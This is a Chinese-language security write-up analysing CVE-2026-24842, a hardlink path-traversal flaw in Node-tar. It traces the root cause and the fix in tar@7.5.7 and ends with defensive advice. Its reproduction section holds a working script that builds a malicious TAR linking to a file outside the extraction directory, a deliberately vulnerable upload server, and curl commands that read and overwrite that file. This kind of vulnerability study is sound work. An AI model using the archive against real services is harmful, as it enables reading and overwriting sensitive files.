【漏洞分析】Node-tar Hardlink边界绕过问题深度分析
以 Node-tar 的 CVE-2026-24842 为例,分析 hardlink path traversal 是如何绕过提取目录边界的,以及在常见业务场景下,如何一步步演变成任意文件读取、文件覆盖,甚至进一步的代码执行风险
本文内容仅供技术学习与交流使用,严禁用于任何非法用途。请遵守《中华人民共和国网络安全法》等相关法律法规,因违规使用产生的一切后果,由使用者自行承担,与作者无关。
引言
提到归档提取漏洞,很多人第一反应还是 Zip Slip:通过在压缩包中构造 ../ 路径,把文件写出目标目录。这个理解本身没问题,但它更多关注的是路径在解析之后是否越界,也就是路径字符串这一层的安全。
但在最近的一些漏洞中,问题已经不再只停留在这种“显式路径穿越”上。像 symlink、hardlink 这样的机制,会让“路径看起来在目录内”和“实际访问的文件对象在目录内”变成两件不同的事情。再叠加不同阶段的路径解析方式、校验顺序等因素,就会出现一些更隐蔽的绕过方式。
本文以 Node-tar 的 CVE-2026-24842 为例,分析 hardlink path traversal 是如何绕过提取目录边界的,以及在常见业务场景下,如何一步步演变成任意文件读取、文件覆盖,甚至进一步的代码执行风险。
一、研究目标
本文围绕以下几个问题展开:
- 漏洞是如何利用一个看似位于解压目录内的文件名,间接读取或覆盖解压目录外的真实文件?
Node-tar为什么会在已经存在路径穿越校验的情况下,仍然被 hardlink 绕过?- hardlink path traversal 与传统 Zip Slip 的关键差异是什么?
- 修复版本为什么能够阻断该攻击链路?
- 应如何设计更稳健的归档提取边界校验?
二、漏洞背景
CVE-2026-24842 是 Node-tar 中的 hardlink path traversal 漏洞。该漏洞的关键点在于:Node-tar 对 hardlink 的目标文件名 entry.path 做了边界检查,但没有对决定真实源对象的 entry.linkpath 做同等强度校验。随后在 hardlink 创建阶段,entry.linkpath又会按 cwd 解析为真实文件系统路径,导致目录内文件名可以被绑定到目录外文件对象。
该漏洞影响 tar < 7.5.7,修复版本为 tar@7.5.7。从影响角度看,该漏洞的危害可以分为两类:
- 即时读取风险:
如果业务会将解压后的文件作为下载文件、静态资源或后续处理对象暴露给攻击者,那么攻击者可以通过 hardlink 读取解压目录外的敏感文件。 - 条件写入/覆盖风险:
如果业务会对解压后的文件进行写入、追加、格式转换、缓存更新、配置生成等操作,那么这些操作可能通过 hardlink 作用到解压目录外的真实文件上,从而造成任意文件覆盖或关键文件破坏。
需要注意的是,hardlink 本身并不是“指向路径的快捷方式”,而是让两个文件名指向同一个底层 inode。因此,一旦攻击者在解压目录内创建了一个指向外部敏感文件的 hardlink,后续业务对该目录内文件的读取或写入,本质上就是在读取或修改边界外文件。
三、归档提取漏洞攻击面变化
3.1 从路径字符串到文件系统对象
传统 Zip Slip 更像是“路径字符串漏洞”。攻击者通过 ../../etc/passwd 之类的路径,让提取逻辑把文件直接写到目标目录之外。
但在 hardlink / symlink 场景中,问题会更加隐蔽。归档中的 path 字段可能完全位于解压目录内,安全检查也可能认为它是合法路径;但该路径最终对应的文件系统对象,可能已经被链接机制重新绑定到解压目录之外。
这类问题的关键不再只是:
路径字符串是否包含 ../而是:
最终被读取、写入或创建的文件系统对象,是否仍然位于可信边界内3.2 链接类条目的风险差异
3.2.1 总体差异对比
类型 | 典型原语 | 关键问题 | 影响 |
传统路径穿越 |
| 目标路径规范化不严 | 直接越界写文件 |
符号链接绕过 |
| 提取时跟随符号链接,真实落点不在边界内 | 越界写文件 / 覆盖文件 |
硬链接绕过 |
| 提取目录内对象与边界外已有对象指向同一 inode | 越界读写已有文件 |
链式链接 | link 指向 link | 校验与落地阶段使用的真实路径不一致 | 绕过单点校验 |
归纳起来,这类问题的本质已经从“字符串是否安全”,转向了“最终落地的文件系统对象是否仍然处于可信边界内”。
3.2.2 symlink 的影响
符号链接本质上保存的是另一个路径。若提取器先创建了一个指向边界外的 symlink,再提取后续普通文件,就可能出现如下结构:
extract/
a/
link -> ../outside此时,后续若再提取 a/link/pwned.txt,看上去写入目标仍在 extract/a/link/pwned.txt,但真实落点已经变成 extract/outside/pwned.txt,甚至可能继续逃逸到提取目录之外。

3.2.3 hardlink 的影响
硬链接与符号链接不同,它不保存“路径字符串”,而是直接让两个文件名指向同一个底层文件对象。
这意味着:如果归档里的 hardlink 指向了边界外某个已存在文件,提取目录中再出现一个看似正常的文件名,那么对这个文件名的读写,其实都在操作边界外对象本身。
这也是为什么 hardlink 问题在服务端文件提取场景下非常危险。它不仅可能造成越界写,还能带来越界读,以及对已有敏感文件的无感知改写。

四、实验复现
4.1 实验目标
本实验用于验证 node-tar@7.5.0 在处理 hardlink 条目时,是否可以被构造的 TAR 归档绕过解压目录边界,并造成以下影响:
- 在解压目录
uploads/内创建一个看似正常的文件路径; - 该文件实际通过 hardlink 指向解压目录外的
secret.txt; - 业务读取
uploads/d/x时,实际读取到secret.txt的内容; - 业务写入
uploads/d/x时,实际覆盖secret.txt; - 升级到
tar@7.5.7后,同一恶意归档无法再创建可利用 hardlink。
4.2 实验环境
项目 | 配置 |
操作系统 | macOS / Linux 均可 |
Node.js | v23.11.0 |
npm | 10.9.2 |
漏洞版本 |
|
修复版本 |
|
漏洞类型 | Hardlink Path Traversal |
影响结果 | 解压目录外文件读取与覆盖 |
4.3 实验目录设计
实验目录如下:
node-tar-repro/
├── package.json
├── secret.txt # 模拟解压目录外的敏感文件
├── create-malicious-tar.js # 构造恶意 TAR
├── server.js # 模拟存在解压逻辑的业务服务
├── verify.js # 验证 hardlink 与外部文件关系
└── uploads/ # 服务端指定的解压目录其中:
uploads/是业务允许写入的解压目录;secret.txt位于uploads/之外,模拟数据库配置、密钥文件、应用配置文件等敏感文件;- 恶意 TAR 中包含
d/x这个 hardlink 条目; d/x的linkpath指向../secret.txt。
实验中的关键边界关系如下:
node-tar-repro/
├── secret.txt # 目标文件:不应被解压逻辑访问或修改
└── uploads/ # 解压目录:业务认为所有解压结果都应限制在这里
└── d/
└── x # 攻击者期望创建的 hardlink从业务视角看,uploads/d/x 位于解压目录内;但从文件系统视角看,它可能与 secret.txt 指向同一个 inode。
4.4 初始化漏洞版本环境
- 创建
package.json:
{
"dependencies": {
"tar": "7.5.0"
}
}- 安装依赖:
npm install
- 创建模拟敏感文件:
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
mkdir -p uploads- 确认当前版本:
node -v
npm -v
npm list tar
cat secret.txt
4.5 构造恶意 TAR
- 恶意 TAR 的核心结构只有两个条目:
d/ # 普通目录
d/x -> ../secret.txt # hardlink,目标指向解压目录外的 secret.txt- 构造脚本
create-malicious-tar.js:
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0);
b.write('0000644', 100);
b.write('0000000', 108);
b.write('0000000', 116);
b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now() / 1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
// typeflag:
// '5' 表示目录
// '1' 表示 hardlink
// '0' 表示普通文件
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) {
b.write(linkpath, 157);
}
b.write('ustar\x00', 257);
b.write('00', 263);
let sum = 0;
for (let i = 0; i < 512; i++) {
sum += b[i];
}
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('[+] malicious.tar created');
console.log('[+] entry: d/x hardlink -> ../secret.txt');- 生成恶意归档:
node create-malicious-tar.js
- 为了确认 TAR 内部结构,可执行以下命令,可以看到
d/目录条目和d/xhardlink 条目。
tar -tvf malicious.tar
4.6 模拟易受攻击的业务服务
4.6.1 设计思路
- 为了让漏洞影响更直观,本文使用一个最小化的 HTTP 服务来模拟真实业务中的归档上传与解压流程。该服务并不直接访问
secret.txt,而是始终只操作解压目录uploads/下的文件。服务逻辑包含三个接口:
接口 | 方法 | 作用 |
| POST | 接收上传的 TAR 文件,并解压到 |
| GET | 模拟业务读取解压后的文件 |
| POST | 模拟业务向解压后的文件 |
- 需要特别说明的是,
/read和/write接口访问的目标路径均为:
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');- 也就是说,业务代码访问的是:
uploads/d/x- 而不是:
secret.txt4.6.2 服务端完整代码
server.js:
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer(async (req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
const tarPath = path.join(UPLOAD_DIR, 'upload.tar');
fs.writeFileSync(tarPath, Buffer.concat(chunks));
await tar.extract({
file: tarPath,
cwd: UPLOAD_DIR
});
res.end('Archive extracted\n');
});
}
else if (req.method === 'GET' && req.url === '/read') {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath, 'utf8'));
} else {
res.end('File not found\n');
}
}
else if (req.method === 'POST' && req.url === '/write') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('File written\n');
} else {
res.end('File not found\n');
}
});
}
else {
res.end('Usage: POST /upload, GET /read, POST /write\n');
}
}).listen(PORT, () => {
console.log(`[+] vulnerable server listening on http://localhost:${PORT}`);
});4.6.3 /upload:上传并解压 TAR 文件
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', async () => {
const tarPath = path.join(UPLOAD_DIR, 'upload.tar');
fs.writeFileSync(tarPath, Buffer.concat(chunks));
await tar.extract({
file: tarPath,
cwd: UPLOAD_DIR
});
res.end('Archive extracted\n');
});
}- 该接口用于接收攻击者上传的 TAR 文件,并将其保存为:
uploads/upload.tar- 随后调用:
await tar.extract({
file: tarPath,
cwd: UPLOAD_DIR
});这里的 cwd: UPLOAD_DIR 表示:归档内容应当被解压到 uploads/ 目录中。在正常情况下,开发者会认为只要 cwd 设置为 uploads/,解压出来的所有内容都应该被限制在该目录内。但在本漏洞场景中,恶意 TAR 中的 hardlink 条目可能会让 uploads/d/x 与目录外的 secret.txt 指向同一个底层文件对象。
因此,/upload 是漏洞触发入口。它本身没有显式访问 secret.txt,但它会调用存在漏洞的 tar.extract(),从而在 uploads/ 内创建攻击者设计的 hardlink。
4.6.4 /read:模拟业务读取解压结果
else if (req.method === 'GET' && req.url === '/read') {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath, 'utf8'));
} else {
res.end('File not found\n');
}
}- 该接口模拟真实业务中“读取解压后文件”的动作。服务端读取的路径是:
uploads/d/x- 而不是:
secret.txt- 但是,如果恶意归档已经让
uploads/d/x成为../secret.txt的 hardlink,那么:
fs.readFileSync('uploads/d/x', 'utf8')- 实际上会读取到
secret.txt的内容,也就是说,业务代码虽然没有写出如下危险路径:
fs.readFileSync('../secret.txt', 'utf8')但由于 uploads/d/x 与 secret.txt 指向同一个 inode,读取 uploads/d/x 就等价于读取 secret.txt。
这一步用于证明漏洞可以导致越界读取。
4.6.5 /write:模拟业务写入解压结果
else if (req.method === 'POST' && req.url === '/write') {
const chunks = [];
req.on('data', chunk => chunks.push(chunk));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('File written\n');
} else {
res.end('File not found\n');
}
});
}- 该接口模拟真实业务中“修改解压后文件”的动作。例如:
- 解压后追加元数据;
- 解压后进行格式转换;
- 解压后生成缓存;
- 解压后写入处理结果;
- 解压后更新配置内容。
服务端写入的目标仍然是:
uploads/d/x- 但是在 hardlink 已经创建成功的情况下:
fs.writeFileSync('uploads/d/x', data)实际修改的是 secret.txt 对应的底层文件对象。
这一步用于证明漏洞可以导致越界覆盖。
4.7 漏洞版本验证:越界读取
- 启动服务:
node server.js
- 另一个终端执行上传:
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
- 随后读取
uploads/d/x:
curl http://localhost:3000/read
此时攻击者并没有直接访问 secret.txt,而是访问了解压目录内的 uploads/d/x。但由于 uploads/d/x 已经被创建为指向 ../secret.txt 的 hardlink,业务读取该路径时,实际读取到的是解压目录外的敏感文件内容。
4.8 漏洞版本验证:越界覆盖
- 继续执行写入请求:
curl -X POST -d "PWNED_BY_HARDLINK" http://localhost:3000/write
- 检查
secret.txt:
cat secret.txt
这说明业务对 uploads/d/x 的写入操作,实际覆盖了解压目录外的 secret.txt。
4.9 inode 关系验证
为了证明 uploads/d/x 与 secret.txt 并不是两个内容相同的文件,而是同一个底层文件对象,可以使用 ls -li 查看 inode:
ls -li secret.txt uploads/d/x
可以看到:
- 两个路径的 inode 编号一致;
- link count 为
2; - 说明
secret.txt与uploads/d/x指向同一个底层文件对象。
这也是 hardlink 绕过比普通路径穿越更隐蔽的地方:业务代码看到的是解压目录内的合法路径,但文件系统实际操作的却是目录外的同一个底层对象。
4.10 修复版本验证:tar@7.5.7 阻断攻击
- 接下来升级到修复版本:
npm install tar@7.5.7
npm list tar
- 清理实验目录并恢复敏感文件:
rm -rf uploads
mkdir uploads
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
- 重新启动服务:
node server.js
- 再次上传同一个恶意 TAR:
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
- 然后验证文件是否被创建,可以看到返回
No such file or directory
ls -li secret.txt uploads/d/x
- 继续检查敏感文件内容:
cat secret.txt
这说明在 tar@7.5.7 中,同样的恶意归档已经无法再创建可利用的 hardlink,解压目录外的敏感文件也没有被覆盖。
4.11 实验结论
通过上述实验可以确认:
- 在
tar@7.5.0中,攻击者可以通过构造 hardlink 条目,使解压目录内的文件名指向目录外的真实文件; - 如果业务会读取解压后的文件,则可能造成敏感文件泄露;
- 如果业务会写入解压后的文件,则可能造成解压目录外文件被覆盖;
ls -li结果能够证明uploads/d/x与secret.txt指向同一个 inode;- 升级到
tar@7.5.7后,同一恶意归档无法再创建可利用 hardlink,说明修复逻辑有效。
因此,该漏洞的核心危害并不是“多创建了一个异常文件”,而是攻击者可以把业务可信目录内的文件路径,重新绑定到业务边界之外的真实文件对象上。
五、漏洞根因分析
5.1 从调用链看漏洞触发点
在这份复现环境里,Node-tar 的关键逻辑位于 node_modules/tar/dist/commonjs/unpack.js。如果把一个 hardlink 条目的处理过程按调用顺序展开,可以概括为:[ONENTRY] -> [CHECKPATH] -> [CHECKFS] -> [CHECKFS2] -> [MAKEFS] -> [HARDLINK] -> [LINK]。

这条调用链很重要,因为漏洞并不是出在某一个孤立函数里,而是出在整条链路对 entry.path 和 entry.linkpath 的语义分工并不一致:前半段主要围绕“要在解压目录里创建哪个名字”展开,后半段才真正决定“这个名字最终绑定到哪个文件对象”。

结合本文 PoC,可以先把攻击输入固定下来:
entry.type = Link
entry.path = d/x
entry.linkpath = ../secret.txt
cwd = /path/to/node-tar-repro/uploads这里必须先区分两个字段的职责:
entry.path决定解压目录内最终出现的文件名,也就是uploads/d/xentry.linkpath决定 hardlink 真正要绑定的源文件对象,也就是 hardlink 的 source path
这两个字段在普通文件场景里往往不会被混淆,但在 hardlink 场景下,前者是“落点文件名”,后者才是“真实绑定对象”,这正是理解本漏洞的前提。
5.2 [CHECKPATH]
结论:CHECKPATH 仅对 entry.path 进行路径边界校验,并未对 hardlink 的实际源对象 entry.linkpath 进行同等安全判断。
[ONENTRY] 首先调用的是 [CHECKPATH]。这一阶段的重点很明确:
- 它首先取的是
entry.path ..检查针对的是parts = entry.path.split('/')

entry.absolute也是根据this.cwd和entry.path计算出来的

把 PoC 代入进去:
entry.path = d/x
cwd = /path/to/node-tar-repro/uploads那么 [CHECKPATH] 看到的是:
p = d/x
parts = ['d', 'x']由于 d/x 本身不包含 ..,也不是绝对路径,所以这一关可以通过。随后生成的 entry.absolute 为:
/path/to/node-tar-repro/uploads/d/x这个结果看起来仍然位于解压目录 uploads 内,因此从 [CHECKPATH] 的视角看,这个条目是“安全的”。这里要特别强调:这一阶段关注的核心对象是 entry.path,它证明的是“要在解压目录里创建一个名为 d/x 的条目”,而不是“这个 hardlink 最终会绑定到哪个真实文件对象”。
值得注意的是,当前这份源码里并不存在“先按 entry.path 所在目录去解析 entry.linkpath 再判断是否越界”的逻辑。[CHECKPATH] 的主要安全判断对象就是 entry.path 本身。
5.3 [CHECKFS] / [CHECKFS2]
结论:CHECKFS 虽然接触到 entry.linkpath,但其用途仅为路径预约和并发控制,并未参与实际的目录边界校验。
[CHECKPATH] 通过后,Link 类型会进入 [CHECKFS]。这里确实把 entry.linkpath 放进了 paths 数组,但这一步的语义不能被误写成“对 hardlink 源路径做了与 entry.path 同等强度的安全边界校验”。它更接近于路径预约和并发冲突控制,避免多个条目在解压过程中互相踩踏。

继续往下看 [CHECKFS2],就会发现这一阶段的真正落点仍然是 entry.absolute。

这一阶段的核心动作也都围绕 entry.absolute 展开,包括:
- 创建
entry.absolute的父目录 - 对
entry.absolute做lstat - 视情况删除或复用
entry.absolute - 最后把控制权交给
[MAKEFS]
也就是说,[CHECKFS] / [CHECKFS2] 处理的是“目标落点 uploads/d/x 是否可创建”,并没有把 entry.linkpath 当作 hardlink 的真实源对象去做同等级别的边界限制。entry.linkpath 被加入 paths,更多是为了 reservation 体系的一致性,而不是为了阻断 ../secret.txt 这类跨目录绑定。
5.4 [MAKEFS]
结论:MAKEFS 根据 entry.type 分发处理逻辑,在 Link 类型下进入 hardlink 创建流程,此阶段不再进行额外的路径安全校验。
当前面的文件系统准备阶段结束后,[MAKEFS] 会根据条目类型选择最终落地逻辑。
这段代码的作用很直接:一旦 entry.type = Link,后续就不再按普通文件写入,而是进入 hardlink 创建分支。因此,在本文 PoC 中,前面所有针对 entry.path = d/x 的检查,只是为“在 uploads/d/x 这个位置创建某种对象”扫清障碍;真正决定这个对象绑定到哪里的,是下一步的 [HARDLINK]。

5.5 [HARDLINK]
结论:HARDLINK 阶段会基于 cwd 重新解析 entry.linkpath,从而将相对路径(如 ../secret.txt)映射为解压目录之外的真实文件路径。
[HARDLINK] 的实现是这条漏洞链上最关键的一步。
这段代码的作用不是检查,而是把 entry.linkpath 解析成 hardlink 的真实源路径。把 PoC 直接代入:
cwd = /path/to/node-tar-repro/uploads
entry.linkpath = ../secret.txt则这里得到的 linkpath 为:
path.resolve('/path/to/node-tar-repro/uploads', '../secret.txt')
= '/path/to/node-tar-repro/secret.txt'也就是说,../secret.txt 在 [HARDLINK] 中会被解析成 uploads/../secret.txt,归一化后就是解压目录外的 secret.txt。这一步非常关键,因为它说明 hardlink 的真实源对象直到这里才被确定下来,而且解析基准就是 this.cwd。
从源码语义看,这也是 entry.path 和 entry.linkpath 的本质区别:
entry.path = d/x只决定目标文件名是uploads/d/xentry.linkpath = ../secret.txt决定uploads/d/x要与哪个已有文件共享 inode

因此,entry.path 看起来再“安全”,也不能推出最终绑定对象仍然在解压目录内。
5.6 [LINK]
结论:LINK 阶段通过 fs.link() 将解析后的 linkpath 与 entry.absolute 绑定,从而使目录内路径实际指向目录外文件对象。
[HARDLINK] 算出真实源路径后,会进入 [LINK]。在 hardlink 场景下,link 的值就是 'link',因此这里的效果等价于执行 fs.link(linkpath, String(entry.absolute))。

这一步的结果不是创建一个“内容复制品”,而是在文件系统中新增一个目录项 uploads/d/x,让它与 secret.txt 指向同一个 inode。于是后续业务代码虽然只会读取或写入:
uploads/d/x但文件系统层面的实际对象已经是:
secret.txt这也就解释了为什么本文前面的 /read 会读到 secret.txt 内容,而 /write 会直接改写 secret.txt 本身。
5.7 根因小结
把整条调用链串起来看,漏洞根因其实非常集中:
[CHECKPATH]主要检查的是entry.path- 对于
entry.path = d/x,路径本身不包含..,因此可以通过检查 entry.absolute会被解析为/path/to/node-tar-repro/uploads/d/x,表面上仍位于解压目录内[CHECKFS]虽然把entry.linkpath加入了paths数组,但这一步主要用于路径预约和并发控制,不等价于 hardlink 源对象的边界校验[MAKEFS]遇到entry.type = Link后进入[HARDLINK][HARDLINK]再用path.resolve(this.cwd, String(entry.linkpath))解析真实源路径entry.linkpath = ../secret.txt因而被解析到解压目录外[LINK]最终执行fs.link(secret.txt, uploads/d/x),让二者指向同一个 inode
因此,这个漏洞并不是单纯的“entry.path 过滤不严”,而是校验阶段关注的是 hardlink 在解压目录内的文件名,落地阶段使用的却是 entry.linkpath 指向的真实文件对象,而后者没有得到同等强度的边界限制。
5.8 修复版本分析
从当前 tar@7.5.7 的源码实现看,修复点可以概括成两层。
- 第一层是统一入口。
[CHECKPATH]不再只围绕entry.path单独展开,而是会调用[STRIPABSOLUTEPATH](entry, 'path'),并且当条目类型是Link时,还会继续调用[STRIPABSOLUTEPATH](entry, 'linkpath')。也就是说,hardlink 的linkpath在修复版本里已经被正式纳入前置检查流程,而不是等到[HARDLINK]时再临时解释。

- 第二层是差异化拦截。
[STRIPABSOLUTEPATH]里有一个很关键的判断:如果字段本身包含..,那么普通path一律拒绝;而当条目类型是Link时,linkpath也会走同样的拒绝分支。换句话说,在 hardlink 场景下,../secret.txt这样的输入不会再被“带着问题继续往后传”,而是会在这里直接触发TAR_ENTRY_ERROR并返回false。

把本文的 PoC 代入当前修复版本来看,这个变化就非常直观了:
entry.type = Link
entry.path = d/x
entry.linkpath = ../secret.txt
cwd = /path/to/node-tar-repro/uploads在前文分析的漏洞链里,d/x 能顺利通过 [CHECKPATH],随后 ../secret.txt 一直到 [HARDLINK] 才被 path.resolve(this.cwd, ...) 解释成目录外文件;但在 tar@7.5.7 里,这个 linkpath 已经会在 [STRIPABSOLUTEPATH](entry, 'linkpath') 阶段被识别出来。由于条目类型本身是 Link,源码会直接进入拒绝分支,抛出类似 `linkpath contains '..'` 的错误并返回 false。这样条目连 [HARDLINK] 都走不到,更不可能继续进入最终的 [LINK] 和 fs.link(...)。
这也解释了为什么修复版本能够真正阻断攻击链,而不是只“降低利用难度”:它不是在末端补救,而是在 hardlink 真正落地之前,就把恶意 linkpath 从处理流程里剪掉了。
六、2026 同类案例归纳
本文未对下列案例全部进行完整复现,但从公开 advisory 的描述来看,它们都与归档提取过程中的链接类对象处理有关。虽然具体原语不同,有的是 hardlink,有的是 symlink,但共同点在于:业务逻辑认为提取结果仍在目标目录内,而文件系统在链接解析或对象绑定后,可能已经把最终读写对象导向了目录之外。
项目 | 时间 | 编号 | 机制 | 影响概括 | 参考 |
Node-tar | 2026-01-28 | CVE-2026-24842 | hardlink 目标路径校验不足 | 创建指向外部文件的 hardlink,进而造成文件读写/覆盖 | |
compressing | 2026-02-04 | CVE-2026-24884 | symlink 目标未充分校验 | 后续文件经 symlink 写入任意位置 | |
Zarf | 2026-03-06 | CVE-2026-29064 | symlink 指向目标目录外 | 造成任意文件读写 | |
Jenkins | 2026-03-18 | CVE-2026-33001 |
| 可向任意位置写文件,受运行用户权限限制 |
这些案例的表面描述不同,但抽象到统一模型后,核心问题都是:路径边界并不一定等于对象边界。
- 业务逻辑认为“提取目标还在工作目录内”;
- 文件系统在解析 symlink 或创建 hardlink 后,最终读写对象可能已经指向工作目录外。
这也说明,单纯依赖 path.normalize()、path.resolve() 或 startsWith(baseDir) 这类字符串层面的判断,并不足以覆盖链接类对象带来的边界绕过风险。
七、防御建议
针对 hardlink / symlink 触发的归档提取边界绕过,防御重点不应只停留在 path.normalize() 或 startsWith(baseDir),而应从“是否允许特殊文件对象进入业务流程”入手,可以有以下措施:
- 默认拒绝链接类条目
如果业务本身不依赖 symlink / hardlink,上传解压场景中应直接拒绝此类条目,避免引入额外攻击面。 - 对 linkpath 进行独立边界校验
对于 hardlink / symlink 条目,应将 linkpath 作为独立输入进行校验,并基于最终解析后的绝对路径判断是否仍在允许目录内。 - 解压目录隔离
将解压目录放置在独立的沙箱路径(如临时目录或容器挂载点),避免与敏感文件路径处于同一文件系统层级。 - 降低解压进程权限
以低权限用户执行解压逻辑,即使发生越界,也能限制对系统关键文件的读写能力。 - 使用已修复版本或安全实现
及时升级到 tar@7.5.7 及以上版本,或选用已明确对链接类条目做严格限制的归档处理库。
八、结语
做完这个复现之后,我最大的感受是:归档提取这类问题看起来很老,但并没有真正“过时”。
以前看到 Zip Slip,第一反应往往是检查 ../、绝对路径、路径前缀这些字符串问题。但 CVE-2026-24842 让我重新意识到,文件系统里的边界并不只是路径字符串决定的,业务代码看起来没有访问敏感路径,开发者也可能认为自己只是在处理上传目录里的文件,但最终被读写的对象已经变了。
这和很多新安全问题类似,真正需要关注的不是表面输入是否看起来安全,而是系统最终操作的对象是否仍在预期边界内。
